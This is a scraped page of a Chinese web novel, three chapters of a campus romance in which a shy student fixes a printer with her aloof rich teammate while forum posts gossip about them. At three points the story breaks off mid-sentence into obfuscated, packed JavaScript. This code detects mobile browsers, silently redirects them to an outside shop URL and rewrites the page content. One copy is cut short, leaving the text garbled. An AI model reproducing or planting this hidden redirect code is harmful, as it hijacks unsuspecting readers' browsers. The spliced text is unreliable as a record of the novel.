如她猜想的一样,墨盒卡在了机器中间。 她的手略一触碰,黑色的粉末便沾满了她的手指。 无论她怎么用力拉,墨盒都卡在中央纹丝不动。 薛年年有些着急。 她弯下腰去查看,脸侧的长发却滑落到眼前,完全挡住了她的视线。 她又将手从机器中拿出来,想快速把黑发拂开,墨粉又在瞬间沾上了她的脸颊和眼角。 薛年年越来越紧张:“怎,怎么……” 她的后颈红透了,混乱中,她感到了一丝泄气……怎么一点小事她都做不好?她得帮上忙呀! 薛年年立刻决定不再管自己脸上的灰,先把打印机修好再说。 她再次弯下腰去摸墨盒,就在这时,忽然—— “别动。” 身后传来声音。 深色的阴影从后方完全笼罩住她,薛年年僵住了。 她察觉到有人站在她的后面。 下一秒,还没等她反应,冰凉的手指略过她的脖颈,指尖微微挑起她脸侧碍事的黑发。 颈后那一小片肌肤是粉色的。 发梢离开它时,似乎还残留着一丝身体的热度。 “继续吧。” 听到这句话,薛年年却没敢再继续。 她下意识回头,眼角那颗红色的小痣轻轻擦过肖序的指节。 他的手腕略微颤动了一下。 薛年年完全没有任何意识,她只知道她现在的样子肯定很狼狈。 没被别人看到她的花脸还好,被看到了—— “不要……” 她说着拒绝,眼睛在刹那间变得湿润。 带着窘迫的眼泪从那颗小痣旁滴落,沿着下颚滴入领口,缓慢隐没在肩膀的凹陷处。 肖序瞬间松开她的发梢。 薛年年立刻缩到地上,抱紧自己的膝盖,浑身颤抖起来,想把自己藏进头发里。 她感觉到浑身的热度都蔓延到了脸上,眼尾红得发烫。 不要看她的脸啊……不要,不要! 她不想管肖序究竟是因为什么。 无论是因为看不惯她毛毛躁躁的样子,还是因为洁癖,还是因为讨厌她把手弄脏。 薛年年害怕地缩成一团,肩膀不停地颤抖。 慢慢的,办公室里的氛围越来越凝重。 气氛逐渐变得越发窒息。 就在这时,薛年年忽然察觉到一缕视线落在了她的头顶。 “……你在害怕我?” 她听到了肖序的声音。 薛年年下意识抬起头,从下往上的角度,她看到了肖序灰蓝色的眼睛,棱角分明的下颚—— 以及他的胸。 不对,等等……为什么她现在会关注到这种东西? 而且!竟然!真的有那么大吗! 大概是震惊盖过了恐惧吧。 对尺寸的好奇掩盖住了一切,薛年年的大脑在瞬间变得空白。 怎么回事…… 她现在竟然一点也感觉不到害怕了? 10. 第一次清醒 好奇心真是害死猫。 薛年年觉得她就是以前接触得太少,所以到大城市后,对什么事都很好奇! 她愣愣地抬起头,眼泪都忘记了擦,目光直直地望着肖序的胸口。 宽肩窄腰,线条流畅…… 角度太正,薛年年一点也感觉不到害怕了,她现在只觉得一直蹲着,小腿有些麻。 她下意识伸手,握住了自己的脚踝。 指尖向下。 肖序看到她苍白的小腿在不停地颤抖。 因为他的视线,她的肩膀略微瑟缩了一下,纤细的脚踝处激起一阵细微的战栗,敏感得如同初生的新叶。 她仰着头,一滴眼泪无意识地从她眼角滑落。 “啪嗒”,敲在磨破的膝盖上。 乌黑的碎发凌乱,墨粉沾满她的脸颊,她眼角的小痣却殷红得像血—— 狼狈,窘迫…… 墨盒卡在机器中央。 遇到无法解决的问题,正确的选择是放弃,然后求助。 但她却依旧执拗地要去做,就像胡闹一样。 执着,愚蠢……却能轻易吸引到他的注意。 肖序生命中,出现的上一个这么能闹腾的人,是他的弟弟。 他总是一副嬉笑的样子,见到他就说: “行,行,都你说了算吧——大人物,兄长,继承人,吃个破苹果都要放秤上称一下,你不觉得你脑子有点问题吗?” ……他脑子有问题? 肖序觉得这个叫“弟弟”的生物才更不可理喻。 他提起他之前折腾绑匪的事,肖余就在那满不在乎地说: “我最后给他们叫了警察和救护车好吗?别把我说的和你一样,你才是那个能站旁边,冷眼看他们把血流干的人吧。” “你误会我了。”肖序还记得他当时这么说,“我也会叫救护车。” “哈哈哈哈哈哈哈,说这种话——你站在道德的高地上不冷吗?” 肖余笑得差点直不起腰,“况且你根本就不在乎那玩意儿,你只是单纯不想承认自己生下来就是个疯子而已。” 笑着笑着,他逐渐又收敛了笑意说:“为什么用这种眼神看着我,我说错了?” “你看我越来越不顺眼,现在也想像爸一样,把小时候的我关进狗笼子里去了?”他的脸上依旧挂着类似于嘲讽的笑容。 肖序却叹了口气,缓声说:“不,我现在很清醒。” “更何况我们的关系一直很好,我不会这么对待你,弟弟。” 这句话音落下,肖余的表情僵在了脸上,嘴角没忍住抽搐了一下:“我们的关系一直很好?” 他的语调中有些不可置信,甚至重复了好几遍:“我们的关系很好???” “是的。”肖序理所当然地肯定道。 肖余那张和他一模一样的脸上满是震惊。 他盯着他的眼睛,沉默了十五秒钟后,才又笑道: “行吧,我们的关系很好——那我亲爱的哥,今天你来找我究竟是想说什么?” “我是来告诉你,父母不在,你的一切,全部由我负责。”肖序清楚地告诉他,“你最好态度好一点。” “……这是在威胁我?” “不,我只是在正确对待你。” 肖序觉得“弟弟”这种生物的确很麻烦,但他们的关系真的很好,他是他唯一的亲人。 所以闹腾一点就闹腾一点吧…… 结束思考,肖序低下头,看到薛年年还蹲在地上,像是受惊了一般缩成一团。 他没有处理这种情况的经验。 只有以前还小的时候,肖余如果闹脾气,他会让管家给他买辆车,配上司机,或者买架直升机,再配上两个试飞员——这些类似的小玩具就能把他哄好。 薛年年会喜欢这种小玩具吗? 肖序在思考。 他像哄小孩一样,伸出手,想把她先拉起来。 薛年年却立刻往后躲说:“别,别……”她腿还有点疼。 ……嗯,果然还在闹脾气。 这种忽然出现在他面前的生物,竟然比弟弟还要更难搞定。 肖序的目光落在她纤细的脚踝上。 她半蹲着,指尖搭在小腿下方,手缓慢地揉动着,苍白的脚踝上纵横着红色的指印。 她的睫毛上还缀着几滴水珠,眼角的小痣因为哭泣被染得绯红—— 眼泪的味道是辛咸、苦涩的。 肖序清楚地知道他自己并不无辜,但他现在的确还很清醒。 他第一次见到薛年年,是她在给别人告白。 她被人拒绝了,却执着地把礼物塞给对方,然后一边哭一边跑下了楼。 ……有百分之九十五以上的可能,薛年年来选这门课的目的,就是为了再接近那个人。 对,是为了接近别人,她才会来上这门课。 现在他应该做的,是去修好机器,在五分钟以内,将《项目计划书》打印出来,然后离开。 不是站在这里和她空耗。 薛年年,这个突然出现的生物……对于他来说,似乎是个不稳定的因素。 他之前的判断有误。 不应该尝试去哄她,放弃才是正确的选择。 到此为止吧。 肖序并不想和太多人建立良好的交流关系。 交流意味着混乱,他并不想让自己的大脑陷入不理性的状态。 肖序侧过身,离开她身旁,不再停留。 他已经浪费了五分钟。 步伐稍一离远,下一秒,他却感觉到一丝温热缠住了他的指尖。 肖序回过头,看到薛年年依旧满脸通红地缩在地面上,却伸出手,用沾着墨粉的手指死死地拽住了他。 她的声音很轻,却执着地让他留下来,小声说: “别,别走啊。我没有害怕你,只是……不要碰我的头发。”薛年年心里一点都不害怕了,她只是身体下意识在恐惧。 她生理性地排斥着别人,但她主观并不想这样。 明明还在颤抖,却强迫自己靠近。 害怕生人,不害怕他吗? ……谎言? 无所谓了。 肖序望向自己被抓住的手。 她红着脸的样子看起来异常可怜,像是他一走就失去了安全感,然而她的语气却不似请求,更像是在依赖和埋怨他。 拽住他的手不断收紧,带来的触感却像羽毛一样轻微。 执着,痛苦,眼泪……只需要轻轻一握,她纤细的手腕就会碎掉。 也许,他现在不该继续思考这些。 也许—— 他想要看到更多。 或许都不需要他动作,她自己就会把自己弄得一团糟。 脸上的污迹,膝盖上磨破的伤口……疼痛会让她掉落更多的眼泪。 眼角的小痣殷红得像刀尖上的血痕。 如果再用力一些,他会看到她更多的泪水和哭泣的样子,可怜又易碎…… 现在他,还很清醒吗? “……” 肖序的目光微动,他察觉到了自己的思绪在逐渐转变。 他猛然反握住她苍白的手腕。 薛年年感到从指尖传来一阵陌生的疼痛。 她愣愣地被人从地上拉起来,不自觉往前踉跄了一步,差点扑到面前人的身上。 薛年年赶紧站稳,看到面前的肖序依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760966|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧没有表情。 他一脸冷漠的样子,看起来不像是刚拉起了她,更像是……嫌弃? 薛年年低头看了一眼自己脏兮兮的手,她觉得她现在的确该被嫌弃。 她用力想把手腕抽回,挣扎着躲开。 ……这又是在闹什么? 说不害怕又要躲。 是因为心里想着别人,所以不想太靠近他? 肖序没想明白,但薛年年挣扎的动作的确又让他清醒了一些。 一,二……三秒。 肖序移开视线,放开了她的手腕。 他的目光不再停留于她眼角红色的小痣,而是回过身,去办公桌上拿了三张棉柔纸,两张递给薛年年,另外一张纸握在指缝间。 他错身从她旁边离开,到打印机旁,弯下腰,修长的指节触碰到墨盒。 “咔——”墨盒在他手下瞬间复位。 “把脸擦干净。” 肖序没有回头,语调并不算冷漠,但他确实一句废话都不说。 薛年年呆呆地在一旁看着,看到他几秒就解决了她之前遇到的问题,不禁感到有点尴尬。 ……她是不是又没帮上忙? 肖序之前不说话的时候,冷淡又严肃的样子真的很吓人。 不过—— 她就说一个人怎么可能早上和深夜反差那么大! 看来肖同学的本性还是很热情的嘛! 帮了她,又给她递了纸巾。 刚刚薛年年甚至诡异地觉得,肖序似乎很会照顾人。 其他人难道从来没发现过吗? 薛年年瞬间安心了,她快快乐乐地把脸擦干净,小跑过去,站在他旁边说:“你好厉害啊!我刚刚怎么掰都没掰动。” 肖序这次没理她了。 只要时机合适,他会让所有的事情都在他的控制之中,理性、规律、正确,不出任何差错。 他沉默地独自操作着打印机按钮。 薛年年却再也不会觉得紧张,只继续说:“之后我会尽量帮上你的忙,虽然我可能有点笨,但是我会慢慢学。” 她似乎还在懊恼之前弄脏了手的事,表情很是遗憾。 但两秒钟后,她的神情又很快放松了下来,目光无意识地落在他衣服的第二颗纽扣处。 那股违和感又出现了……肖序的思绪略有卡顿。 之前课上也是这样,她在暗暗观察他。 肖序停下动作,操作屏闪动。 蓝色的光线倒映在他的镜片上,让他灰蓝色的眼睛如同机械,毫无情绪波动,高效而冰冷。 打印机已经将新的《项目计划书》平稳地推出。 他略微直起身,语调冷漠道:“如果你不是认真想学这门课,趁早换其他人,不要继续和我一组。” 薛年年忽地闭上嘴,满脸震惊地望向他:“为什——” 为什么突然这么说? 她是真的想要上这门课! 待在原来的专业,她就算凭意志力把理论课都背过了,操作课也全是零分。 薛年年不知道还能怎么办,肖序似乎觉得和她合作并不顺利,她得想办法救救自己的毕业证! 她急切地用贫瘠的语言解释:“我想——想继续和你一起上课,你很好……嗯,真的好。” 薛年年觉得自己的嘴真是笨,除了好就说不出其他的。 她总不可能直接夸肖序胸很大吧! 薛年年尝试着又替换词语说:“就是……我觉得你很健康,身体健康,然后人也好,我很喜欢,反正就是好。” ……喜欢? 肖序觉得她说得太轻易了。 他略微侧头,问道:“你对谁都可以说这种话吗?” 11. 第一次露脸 “你对谁都可以说这种话吗?” “当然不是!”薛年年立刻否认。 她只有这么一个队友,也只在现实中看过他一个人……半裸的样子。 要她去夸别人健康,她还得再仔细确认一下,但肖序!他是真的很健康! 亚健康的人能有他那个形状的腹肌和胸肌吗? 不太可能吧…… 每天熬夜直播到那么晚,眼下都没有黑眼圈,这简直就是天赋异禀啊! 薛年年认真地重复道:“你是真的,真的看起来很健康,身体太好了,我很少这么夸别人!” 肖序:“……?” 他指的不是这句话。 不过听她的语气,有百分之八十五的可能,薛年年现在的确不害怕他。 在他之前的调查中,薛年年一见到生人就会脸红,有非常严重的社交恐惧症。 紧张,躲避—— 明明她的外貌丝毫不需要自卑,却常年把自己的脸藏在头发后面。 这百分之百是心理问题造成的病症。 只有面对亲近的人,薛年年才会不那么紧绷,语气放松,正常面对他们说话。 刚刚在他面前,她就是这样的状态。 肖序甚至觉得,薛年年刚才的语气就像是非常熟悉他,对他感到依赖。 之前上课,她也是在偷偷观察他,似乎想要亲近。 这让他的判断出现了偏差。 他不应该像小时候哄弟弟一样,尝试去哄她。 害怕其他人,但是不害怕……他吗?他是例外? 不,还有一个人,薛年年也并不害怕。 肖序的思维很清醒,他眼眸微阖,语调冷漠道: “如果你想要搞好关系,还是去找别人吧,这样下去对你没有任何好处。” 他的声音冷淡又疏离,压迫感十足。 薛年年呆呆地望着他,闻到他身上那股金属质感的薄荷味越来越强烈了。 肖序的话里话外全是排斥。 话音落下后,他立刻转身离开,从语气到动作完全就是在表达对她这个组员的不满意。 这是嫌她拖后腿了,所以想换队友吗? ……不要啊! 肖序好像生气了,她必须想办法把他留下! 薛年年本来还有点懵懵的,这时却忽地回过了神,执着地用手拽住肖序,用尽自己全身的力气想把他的手腕捏疼。 她要用力! “肖序”晚上擦边的时候,不是很喜欢别人粗暴对待他吗? 是不是现在让他感觉到深夜当m的痛苦和快乐,压抑释放后,他就不会再生气啦? 如果不能在实物上提供帮助,那至少要提供情绪价值! 薛年年要证明她自己有用! 她为了捏痛肖序的手,全身用力,憋得脸颊都红了。 肖序:“?” ……她又在闹什么? 这么一点力气,不痛不痒。 但握得如此用力,薛年年……有百分之九十九以上的概率,现在是在尽力挽留他。 每次他一走,薛年年就会立刻抱住他的手,还会仰起头,让变得湿漉漉的眼睛可怜兮兮地望向他。 一拉他,他就会停下来。 肖序都不明白他为什么回头得如此轻易。 他以前从未如此过。 薛年年的目的或许就是为了讨好他。 或许她觉得,只要拉住他,就能让他顺心,他就会帮她? 作为他的合作者,她能顺利通过考核,这样她就有机会留下来,去继续追求另一人。 肖序眉心紧皱,他很少感到这么不悦。 被利用的感觉让他很不适。 他略微侧身,面色沉了下来,语调强硬道:“或许你想要我再重复一遍。” “我不说废话,也不喜欢被冒犯。” “你可以什么都不做,不要妨碍我。” 肖序用另一只手,一根一根掰开薛年年拽住他的苍白手指。 冷漠地甩掉她的手腕后,他面无表情地拿起一旁打印好的《项目计划书》,从办公室离开。 灯光将他的影子拉得修长。 他的背影冷淡,疏离,又拒人于千里之外。 薛年年愣愣地望着他离开的方向,完全没明白自己又做错了什么。 ……难道她想上进也是一种错误吗? 薛年年实在太想进步了,她有很多东西不懂,但就是因为不懂,才要去上课,才要学。 她学习的速度很慢,方法很笨,但这并不代表她以后完全学不会! 薛年年一根筋地想着,她不努力就什么都做不到,但只要能达成目的,任何方法她都愿意去尝试。 她只是想要帮上忙啊…… 薛年年没忍住咬紧了自己的嘴唇,觉得肖序实在太难相处了。 深夜的他明明那么热情又亲和,怎么白天就是这副冷冰冰的样子啊?! 薛年年感到有些泄气。 让他高兴也不是,不让他高兴也不是,他究竟想要怎么样? 难道他不喜欢被“粗暴”对待,刚刚她那样做,他其实并不开心? 是她捏的手法有问题? 薛年年忽然觉得她对肖序的了解似乎还很粗浅。 看来她要多看看他的直播才行! 薛年年下定了决心,如果想顺利和肖序合作,她得尝试着多研究他,说不定还可以去问问“肖学专家”柳思睿? 她抹了一把自己的眼角,整理好头发,走出门,回到教室里。 肖序没有在原来的位置上。 他已经提前离开了…… 果然,又是这么高冷。 薛年年没有精力再去多纠结,“研究肖序”这件事等到深夜再说吧。她坐回到李娅宁旁边,认认真真地继续做之前的习题,直到下课,她做出来了一道半。 虽然没有完全做完,但至少她能留下来,不必退课了。 下课铃响后。 李娅宁侧过头问她:“等等中午一起吃饭吗?”她还可以把柳思睿骗过来,给薛年年一个惊喜。 薛年年不知道她的计划,只是有些脸红地点点头,答应下来。 “那一会联系?” 李娅宁拿出手机,加好薛年年的vx后说,“我得先回去换件衣服,早八课太烦了,每次都只能穿着晨练服来上。” 薛年年又点点头,她其实也想回去换一件衣服。 刚刚在办公室沾上的墨粉不知道弄到后背上没有。 她今天穿了一件浅蓝色的短袖上衣,很有可能已经被墨迹毁掉了。 薛年年回到宿舍,换好一条白色的连衣裙后,还顺便用清水洗了一下发梢,想把可能弄脏了的地方洗干净。 夏日炎炎,湿掉的头发很容易无风自干。 薛年年就没有吹头发,只用发绳把湿掉的头发扎了起来,戴上一顶宽边遮阳草帽,暂时替代一下头发的作用。 宽大的帽檐严严实实地挡住了她的脸。 薛年年带上了之前课上没做完的习题,准备一会吃完饭后再问问李娅宁她不懂的地方。 班上其他金融系的同学肯定都很厉害……她得想办法跟上他们的进度。 薛年年一边想着,一边走出宿舍楼,准备去食堂找李娅宁。 从宿舍到食堂会经过一条林荫道。 阳光明媚,但一到夏季,昆虫也会格外地多。 薛年年走着走着,从树上掉下了一只蝉,正好落在她的肩膀上。 以往回乡下去见姥姥的时候,她偶尔也会遇到这样的情况。 薛年年有些无奈地笑了笑,把蝉取下来,指尖挑起轻薄的翼,踮起脚想把它放回到路旁的树干上。 这时,一阵风吹过来。 头上的宽檐帽被吹得掉到地上,薛年年放完虫子后,赶紧又捡起来戴上。 但就这么几秒钟,路旁的树林里就发出了一阵剧烈的动静—— “妈呀,快来,快来看我的相机拍到了什么!” “别鬼叫!让你不要中午来树林里观鸟你不听,现在好了,鸟一只没找到,还要被热死了!” “你别废话,快过来看,我刚刚以为有鸟,下意识按了快门,结果拍到了一个人!” “什么人——妈呀!” 薛年年被树林里窸窸窣窣的诡异声音吓跑了。 她按紧帽檐跑远,却不知道此刻【校园论坛】里已经吵翻了天—— 【理性讨论,如果感觉自己能力不够,该不该继续努力?】 “如题,楼主今年大二,选了建模课,虽然是金融系的,但是今天课上一道习题都没做出来,应不应该直接退课?” “当然!快退了,再不退你就等死吧!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760967|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“楼上别危言耸听,退课很麻烦的,这才刚开学两个星期,楼主不再努力一下吗?” “呵,我都大四了,最想做的事还是穿回去,摇醒大二的自己,让自己不要死磕建模课!当初我还做出来了两道题呢,这根本就不是危言耸听!” “班上大概有一半以上的人一道都没做出来吧……” “我证明,我和我组员就是一道都不会” “这么说起来,那校草大人很恐怖啊!他那三道题究竟做了几分钟?还是几秒?” “人家的大脑和你根本就不是一个级别的,哦对了,脸也不是” “楼上太扎心了哈哈哈哈” “肖序那个脸,那个身材……没看到过的人真的损失大了!” “建议让肖序去教一门颜值选修课,毕竟看他一眼,学起来都更有动力了哈哈” “他今天穿的那件黑色衬衫是高定吧?貌似要十几万,好贵的,不过我没看到标,不知道认错了没有?” “我是设计学院的,我来告诉你——是,但比十几万贵” “一件衣服就是一辆车吗?恐怖如斯……” “校草家究竟什么来头?” “他姓肖,你想想,现在上面有哪位是姓肖的?那个是他伯父” “哇靠!” “他伯父还没孩子,他就是肖家唯一的继承人” “不止伯父……总之他每天可以从新闻里知道他长辈的行程,很夸张的!” “清冷,矜贵,位高权重,高岭之花——难道!我认识你,京圈佛子!” “楼上小说看多了吧,肖序他不盘串,再说了,他那个眼睛的颜色,一看就是混血吧?” “……那就是外国佛子?” “我真求你们了,有点文化好不好?国外信的那叫上帝” “他家比京圈还牛叉,你要是真把他惹到了,可能影响两国的外交关系” “啊?这么厉害” “他祖母家好像真在英国有爵位有封地,现在法律都承认,世袭下来的,皇室都管不了” “别说了!再讨论校草家的背景,这帖子就要被封了!” “他这么厉害怎么不直接在国外读书啊?” “谁知道有钱人都怎么想的,可能有什么隐情吧” “如果这种老钱富二代疯狂追我我该怎么办?” “楼上我帮你拦着他!” “肖序没正眼看过谁吧?上次学校新来的领导想和他握个手,他直接就走过去了” “讨好他的人海了去了,那个领导算老几?” “他很傲气的,不喜欢别人碰过的东西,不说废话,不浪费时间,没耐心,还讨厌和人皮肤接触,没有例外” “高岭之花不是说说而已,你有他那个背景你也傲” “有颜有钱有实力,世界上怎么会有这么完美的人……” “那肖序这次的队友岂不是可以跟着他躺赢了?可恶啊!” “哟,这就嫉妒了?” “……当队友又不是和肖序谈上了,我嫉妒什么?再说她也配,一个拖后腿的废物” “嫉妒就嫉妒,有什么不敢承认的,你这种人我见多了。以前我们高中,有两个女的为了争肖序都打起来了,但人家都没和她们说过一句话” “肖序这次的队友也是个女的?” “特别丑,我看见了” “你确定你看清了?我就坐他们后面,反正我没看清那个女的长什么样” “真的很难看,难看得有点吓人了都……” “薛年年,我去查了一下她,好像是生命科学学院的” “那她来经院选建模课干什么?就为了钓凯子?” “她好像是偏远乡镇考上来的吧,和肖序差距太大了,不可能的啦” “有些人就是没有自知之明,我看那个女的就是冲着肖序来的!” “她到现在都没退课呢……癞蛤蟆想吃天鹅肉,真是不撒泡尿照镜子不知道自己是谁了” “别讨论那个不相干的女的了,我怀疑肖序连她的名字都没记住” “哟各位,外面论坛主页都地震了,各位还隔这闲聊呢” “怎么了,怎么了?” “自己去看,新窜上来的hot贴,超级大美女的偷拍照——链接:【有谁知道照片里这个穿白裙子女生是谁吗?哪个院的?找到必有重谢!!】” 12. 第一次明悟 【有谁知道照片里这个穿白裙子女生是谁吗?哪个院的?找到必有重谢!!】 “如题,楼主和朋友中午正在学校小树林里观鸟呢,结果鸟没找到,偶然拍到了一个女生的照片 【图片】【图片】 请问有哪位知道她是谁吗?如果能拿到女神的联系方式,楼主此生无憾了!” “现在都流行用这种方式自炒了?想当网红左转去其他地方,别在这污染校园论坛的环境” “楼上没点开那两张照片看吧?” “坐等一楼看完后打脸” “卧,槽……” “卧槽!” “卧槽啊啊啊!!对不起我错了,这个级别的颜值不需要自炒” “长得也太牛叉了……是上次艺术学院自嗨评出来的那个校花吗?快来个人认一下啊!” “不是她,人家那才是真混网红圈去了,都不来学校的,不过我觉得这个女生比她还好看(超小声” “小什么声!大声喊,神颜啊——” “眼睛漂亮得我都没法用语言形容,那颗泪痣……长得太对我胃口了,怎么能这么好看!” “哇靠,大美女,果然观鸟佬和钓鱼佬永不空军吗?” “天真破碎,甜美苦涩……这照片真有氛围感,人长得好看怎么拍都像在拍电影” “这一看就是我失散多年的老婆!!” “皮肤好白,天呐,清纯系小白花就是最棒的!“ “楼上你管这叫小白花???这简直就是造物主的又一神作!” “泪痣细看还是红色的哎,好魅啊……好好看” “淡极始知花更艳,此物最相思,快哉快哉!” “哪来的古风小生,诗背错了还快哉呢——不过这么糊的两张图都能看出来是个大美女,真人究竟得有多好看啊?” “楼主你会不会拍照?!把我女神都拍成啥样了” “求原图,可有偿” “+1我也求一个,想拿来当壁纸” “还没人认出来是谁吗,究竟是哪个院的?” “长成这样要是我们学校的,不可能现在才被发现吧,早八百年就出名了” “不是我们学校的,还能知道这条绕后的小路——那就是隔壁的?” “应该是隔壁T大的吧,他们的论坛我们又进不去,有不知道的美女也很正常” “大概率是隔壁的,那群技术宅就喜欢藏着掖着,然后突然搞个大新闻出来,结果被我们提前发现了嘻嘻” “嘶……等等,这就说明女神高考起码是全省前十几名吧,简直就是怪物级别的,好恐怖” “楼主,女神现在还在林荫小道那边吗?我马上赶过去!” “早走了,她把手上的蝉放回树叶上之后就走了,我只来得及抓拍了两张” “呜呜……老婆竟然这么有爱心” “看起来香香软软的,好想和她贴贴啊!” “白裙子?我刚好像看到有个穿白裙子的女生往食堂那边去了,不知道是不是她?” “真的?老婆我来了!” …… 食堂门口。 李娅宁在门口等着薛年年。 她一边打着电话,一边翻了一个白眼,朝电话另一边的柳思睿问:“我最后问你一遍,你究竟过不过来?” “不来!别想骗我,我今早三分钟就看透你在搞什么鬼了!” 柳思睿生气道,“你是想把我骗过去,然后撺掇我和薛年年在一起是不是?她现在就在你旁边?” “没在。” “我才不信!今早你和她一起来上的课,明明你俩早就背着我狼狈为奸,沆瀣一气,同流合污了,现在想把我卖了?不可能!” “柳三分钟,薛年年究竟有哪里不好,你还敢挑上了?” “你难道不觉得她很恐怖吗??”柳思睿的脸都气红了。 “她告白给我送壮阳药,让我在别人面前丢了那么大的脸,后来还调查了我的全部课表,追我都追到课上来了。” “现在竟然还为了我,和你成了朋友?” 柳思睿警告道,“李娅宁,别怪我没提醒你,薛年年她说不定就是在利用你来接近我!” “想太多了吧。”李娅宁又翻了个白眼,“她干什么都是为了你,你多大的脸啊?” “我又不是瞎子!你没看到她今天穿的是浅蓝色的短袖吗?”柳思睿脸红道。 “浅蓝色,那又怎么了?” “我今天也穿的是浅蓝色啊,她这叫故意和我穿同色系的情侣装!” 柳思睿感到了窒息:“简直太可怕了,我连她现在长什么样都没看清过,她竟然能暗地里观察我观察得这么仔细,电影里这种人叫病娇,叫变态!” “……变态?” 人家小女生只不过是因为第一次追人,所以看起来笨拙了一点而已。 想多贴近自己喜欢的人有什么错? 为了接近他,花那么多心思,还小心翼翼地偷偷和他穿情侣装,也就校园里才会有这么纯情的恋爱了。 他们这些富二代什么时候碰到过这么单纯的追求者? 也就是柳大少爷这种,家庭环境太简单,所以才一点都不珍惜! 能有这么细心,执着,又心思纯净的女孩对他一心一意……柳思睿简直该去庙里烧高香! 李娅宁觉得他真是不可理喻,直接道:“你不来就不来吧,白痴,我挂了。” 她关掉通话继续等薛年年。 在等待期间,她顺手打开了【校园论坛】首页的hot帖。 李娅宁仔细欣赏了一番帖子里那两张氛围感照片,手指都还在给白裙子美女点赞呢,忽然就听到不远处,有人朝她小声喊: “抱,抱歉……让你久等了!” 一个穿着和照片里一模一样的白裙子,还戴着宽檐帽的女生朝她小跑过来。 李娅宁的嘴不禁微微张开,震惊地看着面前的薛年年说:“等等,等……你是——你也回去换衣服啦?” “嗯,嗯!”薛年年缓了口气。 之前在办公室不小心沾上墨粉后,薛年年总觉得身上有点脏。 她换了条新裙子,这是她最贵的一件衣服,是为了去柳思睿家做客才准备的,以前都没拿出来过。 薛年年脸红着解释:“今天是第一次和你一起吃午饭,我觉得应该要有礼貌,所以就——” 她有点不自在地扯了扯裙摆,害羞道:“看,看起来很奇怪吗,要不然我回宿舍去再换一件?” “不用不用!”李娅宁赶紧阻止。 她看到薛年年用帽子将脸完全遮了起来。 她的皮肤很白,甚至苍白到有些不正常,如果露脸的话,那就是肤如凝脂的大美女,但如果不露—— 配合上她长长的黑发,看起来真的有点像刚从井里捞出来的女鬼。 李娅宁有些担忧地问:“乖乖,你怎么老把脸挡起来啊,担心晒到太阳吗?” “没,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768423|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是有点害怕,以前在我老家那边……”薛年年的脑海中闪过那些恐怖的回忆,再次低下头。 “总之我不想被别人看到,被人看到就会发生不好的事情。” 李娅宁安静地听着她的话,不禁感到格外诧异。 她瞄了一眼自己的手机,上面还打开着薛年年被偷拍的照片。 柳思睿那个笨蛋……算了,还是先别告诉他。 李娅宁思索了一会,决定尊重薛年年的想法,只转移话题道:“今天我们别在食堂吃了,去外面吧,我请客!” 要是留在食堂被围观,薛年年那个社恐的性子怕是会落荒而逃。 她用锻炼良好的手臂护住薛年年,拉着她往角落走说:“我看你好像还带了习题的卷子,是有什么想问我的吗?” 两人谈话间,冲进食堂里的人越来越多。 大量看了【论坛】帖子的人都正往食堂方向赶。 所有人都想来碰碰运气,看能不能撞见那个卷起校园腥风血雨的新风云人物。 此时骄阳似火,太阳将大地上的一切都照得一览无余。 薛年年按紧帽檐,低着头,从人群中穿过。 白色的裙摆在光线下漾起一道细微的弧线,她走进角落里,阴影逐渐将她包裹。 薛年年已经很习惯于将自己隐藏起来。 在阴暗的角落里,她就是那个最普通,最不起眼的人。 她略微侧头,逆着流水般的人群,面色如常地和李娅宁交谈道:“是,但除了那些……其实我还有件重要的事想请教你一下。” “什么事?” 薛年年问道:“你知道那种艺人吗?就是在网上唱歌,跳舞,接打赏的人。” “主播吗,怎么了?” 薛年年斟酌着语句补充:“我上大学前都没有手机,所以不太了解这个,但我感觉大城市的人应该很懂这些吧。” “我确实接触过不少。”李大小姐从小就经受过不少诱惑。 她直言道,“如果你很感兴趣,下次我叫两个模子哥出来陪我们玩?” 薛年年:“啊?” 李娅宁拍胸脯保证:“我叫的绝对是高质量的那种,要是你喜欢哪个小明星,提前和我说,我基本也都能叫出来。” 薛年年瞪大了眼睛,看李娅宁一副经验丰富的样子,她觉得自己真是问对人了! 她的毕业证有救了! 薛年年略有些激动地问:“那你知道为什么有些主播线上和线下的性格很不一样吗?一会冷一会热的。” “乖乖,人家那是在营业呢,你怎么什么都信?”李娅宁拍拍薛年年的帽子,觉得她实在太单纯了。 “……营业?” “对,这是主播惯用的手段,他们会给自己立一个人设,然后来故意讨好观众。” “那受虐狂也是人设?” “受虐,m?你喜欢看这种?”李娅宁略有些惊讶。 “没,偶然点到了,有点好奇……” 